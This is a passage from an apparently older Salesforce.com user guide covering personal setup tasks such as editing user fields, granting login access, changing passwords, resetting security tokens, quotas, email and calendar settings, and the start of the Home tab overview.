• Change My Password—Change your password (see Changing Your Password on page 35).
• Reset My Security Token—Reset the security token that you may need to log into Salesforce.com from outside your
company's trusted network (see Resetting Your Security Token on page 37).
• My Groups—Add, update, or delete your personal groups (see About Groups on page 495).
• Change My Display—Customize your display of tabs and related lists (see Customizing Your Display on page 34).
• Grant Login Access—Allow salesforce.com Customer Support representatives or your administrator to log in to your
account (see Granting Login Access on page 26).
• Calendar Sharing—Allow other users, personal and public groups, roles, or roles and subordinates to view your calendar
(see Granting Access to Your Calendar on page 40).
• Reminders—Set your personal preferences for activity reminders (see Setting Reminders on Activities on page 102).
• Record Type Selection—Set your preferences for automatic selection of default record types (see Setting Record Type
Preferences on page 41).

Email
Expand the Email folder under Personal Setup to access the following options:
• My Email Settings—Set your outbound email settings (see Editing Email Settings on page 39).
• My Templates—Create and edit your own email templates (see Managing Email Templates on page 423).
• My Stay-in-Touch Settings—Set your preferences for emails requesting contact information updates (see Editing
Stay-in-Touch Settings on page 39).

23
Personal Setup Editing Your Personal Information

Import
Expand the Import folder under Personal Setup to access the following options:
• Import My Accounts & Contacts—Import accounts and contacts that you own (see Import My Contacts on page 649).
• Import My Person Accounts—Import person accounts that you own. Note that your administrator may have customized
the text of this link.

Desktop Integration
Expand the Desktop Integration folder under Personal Setup to access the following options:
• Check for Updates—See what desktop client versions you have and install updates (see Checking for Desktop Client
Updates on page 43).
• Connect for Outlook—Download the Outlook integration plug-in (see Using Connect for Outlook on page 1918).
• Connect for Office—Install Connect for Office to integrate your data with Microsoft® Word and Excel (see Force.com
Connect for Microsoft Office® Overview on page 1969).
• Connect Offline—Install Connect Offline to work remotely when you are not online (see Force.com Connect Offline
Overview on page 1976).
• Connect for Lotus Notes—Download the Connect for Lotus Notes integration plug-in (see Force.com Connect for Lotus
Notes Overview on page 1942).

Call Center Settings


Expand the Call Center Settings folder under Personal Setup to access the following options:
• My SoftPhone Settings—Set your SoftPhone user preferences (see Editing Personal SoftPhone Settings on page 2251).

Editing Your Personal Information


The available personal setup options vary according to which Salesforce.com Edition you have.

To update your personal information, click Setup ➤ My Personal Information ➤ Personal Information. Administrators
can edit any user’s information as described in Editing Users on page 447.
From the personal information page, you can change the following:

• Personal Information—To make changes, click Edit.


See User Fields on page 27 for a list of the user fields.
If you change your email address, a confirmation message will be sent to the new address. You must click the link provided
in that message for the new email address to take effect. This process is to ensure system security.
• Change Password—Click the Change Password button. See Changing Your Password on page 35.
• Approver Settings—Set preference for receiving approval request emails. See Changing Your Approval User Preferences
on page 1464.
• Storage Space—Click View next to the Used Data Space or Used File Space field to see how much storage space
you are using. See Monitoring Resources on page 595 for information on organization storage limits.
• Quotas—Create and edit your quotas. See Setting Quotas for Customizable Forecasting on page 453 or Adding and Editing
Quotas on page 38 if you do not have customizable forecasting.
• Personal Groups—Add, update, or delete your personal groups. See About Groups on page 495.

24
Personal Setup Editing Your Personal Information

• Default Sales Team—Set up your default sales team. See Setting Your Default Sales Team on page 1821.
• Default Account Team—Set up your default account team. See Setting Up Your Default Account Team on page 1718.
• Login History—Administrators can view the user’s last ten successful and failed login attempts.

You also have access to view the following:

• Public Group Membership—Lists the public groups to which you belong, as determined by your administrator.
• Managers in the Role Hierarchy—Lists the users above you in the role hierarchy, as defined by your administrator. See
Managers in the Role Hierarchy on page 26.
• Territories—Lists the territories to which you are assigned. See Managing Users in Territories on page 1838.
• Assigned Mobile Devices—Lists the mobile device from which you activated Salesforce Mobile for your Salesforce.com
account. See Managing Mobile Devices on page 768.
• Remote Access—Lists the remote access applications that you have granted access to.

See Also:
Personal Setup Overview
Changing Your Default Division
Granting Login Access
User Fields

Viewing Public Group Membership


Available in: Professional, Enterprise, Unlimited, and Developer Editions

To view which public groups include you as a member:

1. Click Setup ➤ My Personal Information ➤ Personal Information.


2. Scroll down to the Public Group Membership related list, which lists the public groups of which you are a member.
3. To view a group's membership details, click the group name.

See Also:
Editing Your Personal Information

25
Personal Setup Editing Your Personal Information

Granting Login Access


Available in: All Editions
Granting administrator access available in: Enterprise, Unlimited, and Developer Editions

In order to assist you, your administrator or a salesforce.com Customer Support representative may need to log in to the
application using your login. You must grant access for them and specify a deadline for that access. During the effective access
period, they will be able to use your login and access your data in order to help you resolve any problems.
To grant login access:

1. Choose Setup ➤ My Personal Information ➤ Grant Login Access.


2. Set the access expiration date for salesforce.com support or your administrator.
3. Click Save.

No one can log in to your account to resolve support issues unless you grant access in this way.

See Also:
Logging In as Another User
Editing Your Personal Information

Managers in the Role Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Managers in the Role Hierarchy related list shows all of the users above you in the hierarchy. These users have the same
access to your data as you do—they have access to all data you own or that has been shared with you.
To view this related list, click Setup ➤ My Personal Information ➤ Personal Information, and scroll down to the related
list.

See Also:
Managing Roles
Editing Your Personal Information

26
Personal Setup Editing Your Personal Information

User Fields
The available fields vary according to which Salesforce.com Edition you have.

A user's personal information page has the following fields, listed in alphabetical order. Some of these fields may not be visible
or editable depending on your profile or edition.

Field Description
Accessibility Mode Checkbox that enables or disables a user interface mode
designed for visually-impaired users. See Enabling Accessibility
Mode on page 2634.
Active Administrative checkbox that enables or disables user login
to the service.
Address Street address for user. Up to 255 characters are allowed in
this field.
Admin newsletter Opt in to receive administrator-targeted promotional emails
from salesforce.com. This field is not available if your
organization has disabled your choice to receive emails from
salesforce.com.
Alias Short name to identify user on list pages, reports, and other
pages where the entire name does not fit. Up to eight
characters are allowed in this field.
Allow Forecasting Indicates whether the user is allowed to use customizable
forecasting or not. See Enabling Users for Customizable
Forecasting on page 1089.
Api Token Indicates whether or not an API token has ever been reset.
Salesforce.com uses this field to help you troubleshoot issues
related to API tokens if issues should occur.
Call Center The name of the call center to which this user is assigned. See
Managing Call Center Users on page 2266.
Checkout Enabled Indicates whether the user is notified by email when his or
her Checkout account is activated and available for login.
You must have “Manage Billing” permission to enable.

City City portion of user’s address. Up to 40 characters are allowed


in this field.
Color-Blind Palette on Charts Indicates whether the option to set an alternate color palette
for charts has been enabled. The alternate palette has been
optimized for use by color-blind users. For dashboard emails,
the alternate palette is not used.

27
Personal Setup Editing Your Personal Information

Field Description
Community Nickname Name used to identify this user in a community. Up to 40
alphanumeric characters are allowed; standard users can edit
this field.
Company Company name where user works. Up to 40 characters are
allowed in this field.
Contact Name of the associated contact if the user is a partner user.
Country Country portion of user’s address. Up to 40 characters are
allowed in this field.
Created By User who created the user including creation date and time.
(Read only)
Currency User’s default currency for quotas, forecasts, and reports.
Shown only in organizations using multiple currencies. This
must be one of the active currencies for the organization.
Custom Links Listing of custom links for users as set up by your
administrator.
Default Currency ISO Code User's default currency setting for new records. Available only
for organizations that use multiple currencies.
Default Division Division that is applied, by default, to all new accounts and
leads created by the user, unless he or she explicitly sets a
different division. When users create records related to an
account or other record that already has a division, the new
record is assigned to the existing record’s division; the default
division is not used.
This setting does not restrict the user from viewing or creating
records in other divisions. Users can change their division at
any time.
Available only in organizations that use divisions to segment
their data.

Delegated Approver User lookup field used to select a delegate approver for
approval requests. Depending on the approval process settings,
this user can also approve approval requests for the user.
Department Group that user works for, for example, Customer Support.
Up to 80 characters are allowed in this field.
Development Mode Enables development mode for creating and editing
Visualforce pages.
This field is only visible to organizations that have Visualforce
enabled..

28
Personal Setup Editing Your Personal Information

Field Description
Disable Auto Subscription For Feeds Disables automatic feed subscriptions to records owned by a
user. Only available in organizations with Salesforce Chatter
enabled.
Division Company division to which user belongs for example, PC
Sales Group. Up to 40 characters are allowed in this field.
Email Email address of user. Must be a valid email address in the
form: jsmith@acme.com. Up to 80 characters are allowed in
this field.
Email Encoding Character set and encoding for outbound email sent by user
from within Salesforce.com. ISO-8859-1 represents all Latin
characters and should be used by English-speaking users.
UTF-8 (Unicode) represents all characters for all of the world’s
languages, but is not supported by some older email software.
Shift_JIS, EUC-JP and ISO-2022-JP are useful for
Japanese users.
Employee Number Identifying number for a user.
End of day Time of day that user generally stops working. Used to define
the times that display in the user’s calendar.
Fax Fax number for user.
Federation ID The value used to identify a user for federated authentication
single sign-on. For more information, see Configuring SAML
Settings for Single Sign-On on page 559.
First Name First name of user, as displayed on the user edit page. Up to
40 characters are allowed in this field.
Information Currency The default currency for all currency amount fields in the user
record. Available only for organizations that use multiple
currencies.
Knowledge User Administrative checkbox that grants a user access to Salesforce
Knowledge. The user's profile determines whether he or she
has access to the Article Management tab, Articles tab, or
both.
Language The primary language for the user. All text and online help is
displayed in this language. In Professional, Enterprise, and
Unlimited Edition organizations, a user’s individual Language
setting overrides the organization’s Default Language.
Not available in Personal Edition, Contact Manager, or Group
Edition™. The organization’s Display Language applies
to all users.

Last Login Date of last login. (Read only)

29
Personal Setup Editing Your Personal Information

Field Description
Last Name Last name of user, as displayed on the user edit page. Up to
80 characters are allowed in this field.
Locale Country or geographic region in which user is located.
The Locale setting affects the format of date, date/time, and
number fields, and the calendar. For example, dates in the
English (United States) locale display as 06/30/2000 and as
30/06/2000 in the English (United Kingdom) locale. Times
in the English (United States) locale display using a
twelve-hour clock with AM and PM (for example, 2:00 PM),
whereas in the English (United Kingdom) locale, they display
using a twenty-four-hour clock (for example, 14:00).
The Locale setting also affects the first and last name order
on Name fields for users, leads, and contacts. For example,
Bob Johnson in the English (United States) locale displays as
Bob Johnson, whereas the Chinese (China) locale displays the
name as Johnson Bob.
For Personal Edition users, the locale is set at the organization
level via Setup ➤ Company Profile ➤ Company
Information. For all other users, their personal locale, available
at Setup ➤ My Personal Information ➤ Personal
Information, overrides the organization setting.

Manager Lookup field used to select the user's manager. This establishes
a hierarchical relationship, preventing you from selecting a
user that directly or indirectly reports to itself.
This field is especially useful for creating hierarchical workflow
rules and approval processes without having to create additional
hierarchy fields.
Note: Unlike other hierarchy fields, Salesforce.com
allows you to inactivate users who are referenced in
the Manager field.

Marketing User Checkbox that indicates whether user has access to create,
edit, and delete campaigns and configure advanced campaign
setup.
In order to use the campaign import wizards, Marketing Users
must also have the Marketing User profile (or the “Import
Leads” permission and the “Edit” permission on campaigns
in Enterprise and Unlimited Edition organizations).

Mobile Cellular or mobile phone number. Up to 40 characters are


allowed in this field.

30
Personal Setup Editing Your Personal Information

Field Description
Mobile User Allocates one Salesforce Mobile license to the user, granting
the user access to Salesforce Mobile capabilities. The number
of user records with this checkbox enabled cannot exceed the
total number of mobile licenses your organization has.
The Mobile User checkbox is enabled by default for Unlimited
and Developer Edition users. To prevent users from activating
Salesforce.com on their mobile devices before you are ready
to deploy mobile in your organization, disable the checkbox
for all your users.
If the user has already activated his or her mobile account from
a device, deselecting the Mobile User checkbox revokes the
user's mobile license. The next time the user's device
synchronizes with Salesforce.com, all the Salesforce.com data
is deleted from the device, and the device is no longer
associated with the user.
For more information, see Salesforce Mobile Overview on
page 730.
Note: The Mobile User checkbox doesn't apply to
Mobile Lite users because they can access
Salesforce.com from their device without a mobile
license.

Mobile Configuration The mobile configuration assigned to the user. If no mobile


configuration is specified, this field defaults to the mobile
configuration assigned to the user's profile.
This field is only visible to organizations that use
Salesforce.com to manage mobile configurations. For more
information, see Salesforce Mobile Overview on page 730.

Modified By User who last changed the user fields, including modification
date and time. (Read only)
Name Combined first and last name of user, as displayed on the user
detail page.
Newsletter Opt in to receive user-targeted promotional emails from
salesforce.com. This field is not available if your organization
has disabled your choice to receive emails from salesforce.com.
Offline User Administrative checkbox that indicates whether user has access
to use Connect Offline.
Phone Phone number of user. Up to 40 characters are allowed in this
field.

31
Personal Setup Editing Your Personal Information

Field Description
Self-Registered via Customer Portal Checkbox that specifies if the user was created via
self-registration to a Customer Portal.
Available in Enterprise and Unlimited Editions only.

Profile Administrative field that defines a user’s permission to perform


different functions within the application.
Receive Approval Request Emails Set preferences for receiving approval request emails. See
Changing Your Approval User Preferences on page 1464.
Receive Salesforce CRM Content Daily Digest If selected, specifies that a user with Salesforce CRM Content
subscriptions will receive a once-daily email summary if activity
occurs on his or her subscribed content, workspaces, tags, or
authors. To receive email, the Receive Salesforce CRM
Content Email Alerts checkbox must also be selected.

Receive Salesforce CRM Content Email Alerts If selected, specifies that a user with Salesforce CRM Content
subscriptions will receive email notifications if activity occurs
on his or her subscribed content, workspaces, tags, or authors.
To receive real-time email alerts, select this checkbox and do
not select the Receive Salesforce CRM Content
Daily Digest checkbox.

Role Administrative field that specifies position of user within an


organization, for example, Western Region Support Manager.
Roles are selected from a picklist of available roles, which can
be changed by an administrator.
Not available in Personal Edition, Contact Manager, or Group
Edition.

Salesforce CRM Content User Administrative checkbox that indicates whether a user has
access to use Salesforce CRM Content.
Send Apex Warning Emails If selected, specifies that the user will receive email notification
whenever he or she executes Apex that surpasses more than
50% of allocated governor limits. See the Force.com Apex
Code Developer's Guide for information.
Available in Developer, Enterprise, and Unlimited Editions
only.

Show View State in Development Mode Enables the View State tab in the development mode footer
forVisualforce pages.
This field is only visible to organizations that have Visualforce
enabled, and Development Mode selected.

Start of day Time of day that user generally starts working. Used to define
the times that display in the user’s calendar.

32
Personal Setup Changing Your Default Division

Field Description
State/Province State or province portion of user’s address. Up to 20 characters
are allowed in this field.
Time Zone Primary time zone in which user works.
Users in Arizona should select the setting with
“America/Phoenix,” and users in parts of Indiana that do not
follow Daylight Savings Time should select the setting with
“America/Indianapolis.”

Title Job title of user. Up to 80 characters are allowed in this field.


Used Space Amount of disk storage space the user is using. See Monitoring
Resources on page 595.
User License Indicates the type of user license. For more information about
user licenses, see Viewing User License Types on page 506.
Username Administrative field that defines the user’s login. Up to 80
characters are allowed in this field.
Zip/Postal Code Zip code or postal code portion of user’s address. Up to 20
characters are allowed in this field.

See Also:
Editing Your Personal Information
Managing Mobile Permissions

Changing Your Default Division


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To change your default division: “Manage Users”

If your organization uses divisions to segment data, your user information contains a default division. This is the division that
is applied, by default, to all new accounts, leads, and appropriate custom objects you create, unless you explicitly set a different
division during record creation. For records you create that are related to an account or other record that already has a division,
the new record is assigned to the existing record’s division; the default division is not used.
Your default division setting does not restrict you from viewing or creating records in other divisions. See Overview of Divisions
on page 409 for more information.
To change your default division:

33
Personal Setup Customizing Your Display

1. Click Setup ➤ My Personal Information ➤ Personal Information.


To change the default division of another user, click Setup ➤ Manage User ➤ Users, and select the name of the user.
See Transferring Divisions on page 607 to transfer the default division for multiple users.
2. Click Change next to the Default Division field.
3. Select a new default division.
4. Select an option to determine if the records you currently own should be transferred to the new division as well.
5. Click Save.

See Also:
Transferring Divisions
Changing Your Working Division

Customizing Your Display


Available in: All Editions

Click Setup ➤ My Personal Information ➤ Change My Display to change various personal display options. You can:

• Click Customize My Tabs to change which tabs display when you log in, or, if you have multiple apps, to change which
tabs display in each app. By default, you will see the tabs that are set for your profile. Add each tab you want to display,
change the display order if desired, and click Save.
Note: The first tab that displays when you select an app may change if your administrator changes the app's default
landing tab. See Editing App Properties on page 1363.

• Select an object from the drop-down list and click Customize My Pages to customize your display.

- For your Home tab, customize the dashboard snapshot that displays on the Home tab. Select the dashboard to use and
click Save. The link to customize your Home tab is available only if your administrator has customized your home page
layout to include a dashboard.
See Refreshing Dashboard Data on page 2203 for information on refreshing your dashboard snapshot.
- For all other tabs, set which related lists display on your detail pages. To add or remove related lists, select a related list
title, and click the Add or Remove arrow. To change the order of the related lists, select a related list title in the Selected
List box, and click the Up or Down arrow. Click Save when finished.

Note: Your personal related list customization may change if your administrator alters the page layout for a particular
tab. See Managing Page Layouts on page 1012.

You can also access the Customize My Display page via the Customize Page link in the Dashboard section of the Home tab
or on any record detail page.
To customize the folders that display on your Reports tab, see Reports Home on page 2089.

34
Personal Setup Viewing All Tabs

Note: Users can't remove dashboards from their home tab. Only administrators control whether dashboards appear.

See Also:
Changing Your Home Tab Dashboard
Viewing All Tabs

Viewing All Tabs


Available in: All Editions

To view all the tabs available to you in Salesforce.com, click the plus icon (+) next to the main tabs.

Figure 1: Viewing All Tabs in Salesforce.com

Using this page, you can:

• Click any of the tab names to quickly jump to that tab.


• If you have multiple apps, use the View drop-down list to see each app’s logo and included tabs.
• Click Customize My Tabs to change how tabs display on your screen.

Note: If you have Enterprise or Unlimited Edition, your administrator can hide tabs within your organization for
features you do not use. For details, see Defining Custom Apps on page 1362.

See Also:
Customizing Your Display

Changing Your Password


Available in: All Editions

To change your password at any time, click Setup ➤ My Personal Information ➤ Change My Password. In Contact
Manager, Group, Professional, Enterprise, Unlimited, or Developer Edition, your administrator can also reset your password
for you (see Resetting Passwords on page 450).
The first time you log in you are prompted to change the temporary password that was emailed to you. We also recommend
that you change your password periodically to protect the privacy of your data. If your administrator has set the User

35
Personal Setup Changing Your Password

passwords expires in setting, you must change your password periodically. However, if you have the “Password Never
Expires” user permission, then your password will not expire.
When you change your password, if you have not previously selected and answered a security question, you are prompted to
do so. You must answer this question correctly if you ever forget your password and need it to be reset.
You may have to activate your computer to successfully log in to Salesforce.com whenever your password is changed or reset,
or when you log in from a computer you have not used to access Salesforce.com before. Activating your computer allows
Salesforce.com to verify your identity and prevent unauthorized access. To activate your computer:

1. When prompted on the login page, click the Send Activation Link button. Salesforce.com sends an activation email to
the email address specified on your Salesforce.com user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.

For more information, see Setting Login Restrictions on page 472.


As you enter a new password in the New Password field, a visual indicator provides dynamic feedback on the strength of
the password that you are typing. When the password matches the minimum requirements for your organization's password
policy, the visual indicator and associated text indicate that the password is acceptable and can now be saved. A tip is displayed
to suggest how to make the password stronger and more difficult to guess.
Note: A password cannot contain your User Name and cannot match your first or last name.
For all editions, a new organization has the following default password requirements:

• A password must contain at least eight characters.


• A password must contain at least one alphabetic character and one number.
• The answer to the question posed if you forget your password cannot contain your password.
• The last three passwords are remembered and cannot be reused when you are changing your password.

The password policies, including these defaults, can be updated for all editions except for Personal Edition. See Setting
Password Policies on page 542 for more details.
If you have the “Uses Single Sign-On” permission, only an administrator can reset your password. Please contact your
administrator for assistance. For information about Single Sign-On, see About Single Sign-On on page 547.

See Also:
Retrieving Forgotten Passwords
Resetting Your Security Token

Retrieving Forgotten Passwords


Available in: All Editions

Follow these steps if you have forgotten your password:

36
Personal Setup Changing Your Password

1. Attempt to log in with your username and a dummy password.


2. Click Forgot your password?.
3. Correctly enter your username and click Continue. A message will automatically be sent to your email address.
4. Click the link provided in that message, correctly answer your password question, and click Continue.
5. A temporary password will be automatically sent to your email address. Click the link to log in using that temporary
password.
6. When prompted, enter a new password.

You may have to activate your computer to successfully log in to Salesforce.com whenever your password is changed or reset,
or when you log in from a computer you have not used to access Salesforce.com before. Activating your computer allows
Salesforce.com to verify your identity and prevent unauthorized access. To activate your computer:

1. When prompted on the login page, click the Send Activation Link button. Salesforce.com sends an activation email to
the email address specified on your Salesforce.com user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.

For more information, see Setting Login Restrictions on page 472.

See Also:
Resetting Your Security Token

Resetting Your Security Token


Available in: All Editions

A security token is an automatically-generated key that you must add to the end of your password in order to log in to
Salesforce.com from an untrusted network. For example, if your password is mypassword, and your security token is
XXXXXXXXXX, then you must enter mypasswordXXXXXXXXXX to log in. Security tokens are required whether you log in
via the API or a desktop client such as Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes,
or the Data Loader.
You are offered a security token if you try to access Salesforce.com from an untrusted network. Once you have been issued a
security token, you have the option to reset this security token at any time.
To reset your security token, click Setup ➤ My Personal Information ➤ Reset Security Token, and click the Reset Security
Token button. The new security token is sent via email to the email address on your Salesforce.com user record.
If you have never been offered a security token, for example, because your organization restricts the IP addresses from which
you can log in, the Reset Security Token node does not appear in Setup.

37
Personal Setup Adding and Editing Quotas

Tip: It is recommended that you obtain your security token via the Salesforce.com user interface from a trusted network
prior to attempting to access Salesforce.com from a new IP address.

See Also:
Changing Your Password

Adding and Editing Quotas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can track your sales quotas on a quarterly basis. To add or edit a quota, go to your forecast for the quarter, or select Setup
➤ My Personal Information ➤ Personal Information.
To create a new quota from the personal information page:

1. Click New in the Quotas related list.


2. Select the year and quarter, and click Next.
By default, the page displays the quarter that follows the last quota you created. The year you select should be based on
your organization’s Fiscal Year Starts In settings.
3. Enter amounts for each month. Do not include any currency symbols. If your organization uses multiple currencies, your
quota is created in your personal currency by default.
4. Click Save to finish. Creating a quota automatically creates the corresponding forecast for that quarter.

To edit a quota, click the quota name in the Quotas related list. Editing the quota amounts automatically logs an entry to the
Forecast History related list of the corresponding forecast (see Forecast History on page 1737).
Note: Managers should enter their quota amounts as a sum of their entire team’s quotas.
If your sales group does not break down quotas monthly, enter zeroes for the first two months and put the entire
amount in the third month.

If your organization uses multiple currencies, click Change Currency in the Quotas related list to change the currency of the
quota. All quota and forecast values are automatically converted to the new currency using the conversion rates maintained by
your administrator.
Note: This procedure does not apply to customizable forecasting. If your organization has enabled customizable
forecasting, see Setting Quotas for Customizable Forecasting on page 453. See Do I Have Customizable Forecasting?
on page 1741 to determine if your organization has enabled customizable forecasting.

See Also:
Creating Forecasts
Editing Forecasts

38
Personal Setup Editing Email Settings

Editing Email Settings


Available in: All Editions

Click Setup ➤ Email ➤ My Email Settings to alter email settings that apply to all outbound emails you send from within
the application.
You can change:

• How your name appears on outbound emails


• Your return email address
• Whether all individual outbound emails are blind carbon copied to your return address (not available if your organization
has enabled sending compliance BCC emails)
• The signature that appears at the bottom of all individual outbound emails and can be added to mass email messages.

Note: In Personal and Developer Editions, a Salesforce.com-specific tag line is added below your personal signature
on all outbound emails.

See Also:
Sending Email

Editing Stay-in-Touch Settings


Available in: All Editions

To set your preferences for requesting contact information updates:


Note: If your organization uses person accounts, person accounts are also affected by these settings. For more
information, see What is a Person Account? on page 54.

1. Click Setup ➤ Email ➤ My Stay-in-Touch Settings.


2. Choose Yes for Automatic Bcc to receive copies of your sent Stay-in-Touch emails. This option is only available if your
organization has not enabled compliance BCC emails.
3. Enable the reminder if you would like to be prompted to send a Stay-in-Touch request whenever you save a new contact.
4. Enter a default subject for the email.
5. In the note area, enter a message to the recipient.
6. In the signature area, enter a signature with your contact information.
7. Use the merge fields area at the top of the page to display available merge field values, which you can copy and paste into
the subject, note, or signature boxes as needed.

39
Personal Setup Granting Access to Your Calendar

8. Click Save.

See Also:
Sending Stay-in-Touch Requests

Granting Access to Your Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can grant access to other users, personal and public groups, roles, or roles and subordinates to view your calendar.

1. Click Setup ➤ My Personal Information ➤ Calendar Sharing.


2. Click Add to share your calendar with others.
3. Use the arrows to add or remove users, roles, or groups to your calendar.
4. In Calendar Access, specify how you want to share your calendar by selecting one of the following:

Option Description
Hide Details Others can see whether given times are available, but cannot
see any other information about the nature of events in the
calendar.
Hide Details and Add Events Others can see whether given times are available, but cannot
see details of events. Other users can insert events in the
calendar.
Show Details Others can see detailed information about events in the
calendar.
Show Details and Add Events Others can see detailed information about events in the
calendar and can insert events in the calendar.
Full Access Others can see detailed information about events in the
calendar, insert events in the calendar, and edit existing
events in the calendar.

5. Click Save.

The available Calendar Access options vary depending on the organization-wide calendar sharing level set by your
administrator. Only choices that make your calendar access less restrictive are available. Calendar sharing settings affect the
visibility of items on a calendar, but do not give access to event detail pages.

40
Personal Setup Setting Record Type Preferences

Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activity’s assignee in the role hierarchy.

See Also:
Activity Accessibility

Setting Record Type Preferences


Available in: Enterprise, Unlimited, and Developer Editions

Set an option to automatically insert your default record type when creating new records. Using this setting, you can bypass
the page prompting you to select a record type. If you have several different record types available to you, you may prefer to
be prompted to select a record type every time you create a new record.

1. Click Setup ➤ My Personal Information ➤ Record Type Selection.


2. Check any box to automatically select the default record type when creating records of that type.
Any unchecked boxes indicate that you prefer to be prompted to select a record type.
3. Click Save.

Note: The Record Type Selection option may not be available because your organization is not using record types or
multiple record types are not available for a particular tab.
Individual checkboxes are only offered when you have more than one record type available for a tab.
If your organization uses person accounts, note that checking the Account box on this page causes one default record
type selection for all types of accounts. It is not possible to set separate default record type selections for business
accounts and person accounts. If you work with both types of accounts, leave the box blank.

See Also:
Managing Record Types
Assigning Record Types to Profiles

Scheduling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Once opportunity update reminders are enabled for your organization, any user who has direct reports can schedule them.
To schedule an opportunity update reminder:

1. Click Setup ➤ Email ➤ My Update Reminder.

41
Personal Setup Scheduling Opportunity Update Reminders

2. Check Active if you want reminders to start after you save the settings.
3. Enter a name and address for the sender of the reminders.
4. Choose a recipients option.
5. Enter any other recipients in the CC field. Separate additional email addresses with a commas, semi-colons, spaces, or new
lines.
6. Enter a subject and message to be included in the email reminders.
7. Select a schedule frequency.
8. Select Include Past Due Opportunities if you want to include all opportunities that are open but have a close date
within the previous 90 days.
9. Choose a Close Date to include opportunities with dates within that range.
10. Select the fields to include in the email reminders.

Field Description
Last Login Date Most recent login date of the opportunity owner
# of Open Opportunities Total number of opportunities in the report
# Not Updated in Last 30 Days Total number of opportunities that have not been updated
in 30 days
Open Opportunity Amount Total of all opportunity amounts in report
Total Closed Amount Total closed amount for all opportunities in report.
If your organization uses multiple currencies, this amount
is converted to the user's currency. If your organization uses
advanced currency management, the conversion is done using
dated exchange rates.

Last Update Date Most recent date the opportunity owner submitted a forecast.
If your organization uses multiple currencies, this amount
is converted to the user's currency. If your organization uses
advanced currency management, the conversion is done using
dated exchange rates.

Forecast Amount From the forecast.


See Forecast Fields on page 1738.
If your organization uses multiple currencies, this amount
will be converted to the user's currency using the standard
conversion rate.
This field is not available to organizations using customizable
forecasting. For more information, see Do I Have
Customizable Forecasting? on page 1741.

Best Case Amount From the forecast.


See Forecast Fields on page 1738. If your organization uses
multiple currencies, this amount will be converted to the
user's currency using the standard conversion rate.

42
Personal Setup Checking for Desktop Client Updates

Field Description
This field is not available to organizations using customizable
forecasting. For more information, see Do I Have
Customizable Forecasting? on page 1741.

11. Click Save.

When there are no records in an opportunity update reminder, Salesforce.com does not send an email. If no email is sent for
three consecutive opportunity update reminders, the scheduled reminder is deactivated.

See Also:
Enabling Opportunity Update Reminders

Checking for Desktop Client Updates


Available in: All Editions

Desktop clients such as Connect for Outlook and Connect Offline integrate Salesforce.com with your PC. Follow these steps
to see which desktop client versions are installed on your computer and download available updates:

1. Navigate to Setup ➤ Desktop Integration ➤ Check for Updates.


2. From the table, review the names and version numbers of available desktop clients.
3. If you are using Internet Explorer, click the correct desktop client and then click Install Now to install a client.
4. If you are using another browser such as Mozilla Firefox, click Download Now to save the installer file to your computer.
Then double-click the saved file to run the installer program.

Your administrator controls which desktop clients you are allowed to install. See Setting User Permissions for Desktop Clients
on page 470. Note that Connect Offline is the only client available with Developer Edition.

See Also:
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview
Viewing Client Update Alerts

43
Personal Setup Customizing Activity Reminders

Customizing Activity Reminders


Available in: All Editions

When reminders are enabled for your organization, the default reminder settings are configured to open the reminder window
and play a sound fifteen minutes before an event's start time, or at 8:00 am the day a task is due. Click Setup ➤ My Personal
Information ➤ Reminders to customize the following reminder settings to meet your needs.

Setting Description
Trigger alert when reminder comes due If enabled, open the reminder window when a reminder is
due.
Play a reminder sound If enabled, play a reminder sound when a reminder is due.
By default, set reminder on Events to: If enabled, set a reminder on all new events. From the
drop-down list, select how long before the event you want to
be reminded of the upcoming event. You can disable the
reminder or change the reminder time when editing the event.
By default, set reminder on Tasks to: If enabled, set a reminder on all new tasks. From the
drop-down list, select what time, on the day the task is due,
you want to be reminded of the task. All tasks, including those
created by workflow, will use this default. You can disable the
reminder or change the reminder time when editing a task.

To test your settings, click Preview Reminder Alert.


Note: If the preview popup does not display, ensure that you aren't blocking popups. For more information, see Why
can't I view Salesforce.com popup windows such as lookup dialogs and the Help & Training window? on page 2575.

See Also:
Setting Reminders on Activities
Editing Tasks
Editing Events
Using the Activity Reminder Window

44
Home Tab Home Tab Overview

HOME TAB

Home Tab Overview


The available tabs and options in the Create New drop-down list vary according to which permissions you have and which
Salesforce.com Edition you are using.

From the Home tab, you can view your calendar and tasks, and select tab and sidebar options to access other information.
You can also search for information and view messages and custom links provided by your administrator.
The tabs at the top of the page let you access different types of information.
Tabs can be organized into groups called apps, which make it easy to switch between sets of tabs that relate to one another.
In addition to the standard apps, such as Sales and Call Center, your administrator can create custom apps to define the tabs
that you see. You can switch between apps by choosing from the Force.com app menu at the top of the page.
An alert banner may appear on the Home tab to let you know when updates are available for desktop clients such as Connect
for Outlook and Connect Offline. For more information, see Viewing Client Update Alerts on page 52.

See Also:
Troubleshooting Login Issues
Using Your Calendar and Tasks on the Home Page
Search Overview
Recycle Bin
About the Sidebar
Custom Links
Messages and Alerts
Recent Items
What is an App?

Changing Your Home Tab Dashboard


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator can create customized Home tab pages that display customized components such as a dashboard snapshot
or your company logo. If your Home tab contains a dashboard snapshot, you can change the dashboard settings.

45
Home Tab Using Your Calendar and Tasks on the Home Page

Click Customize Page in the Dashboard section of the Home tab if yours contains a dashboard. Use this page to select a
different dashboard to display on the Home tab. Click Refresh to refresh the data in your dashboard. See Refreshing Dashboard
Data on page 2203 for more information.

See Also:
Customizing Your Display

Using Your Calendar and Tasks on the Home Page


Available in: All Editions

Note: The My Tasks and Calendar sections display on the Home tab if they are included as components on your
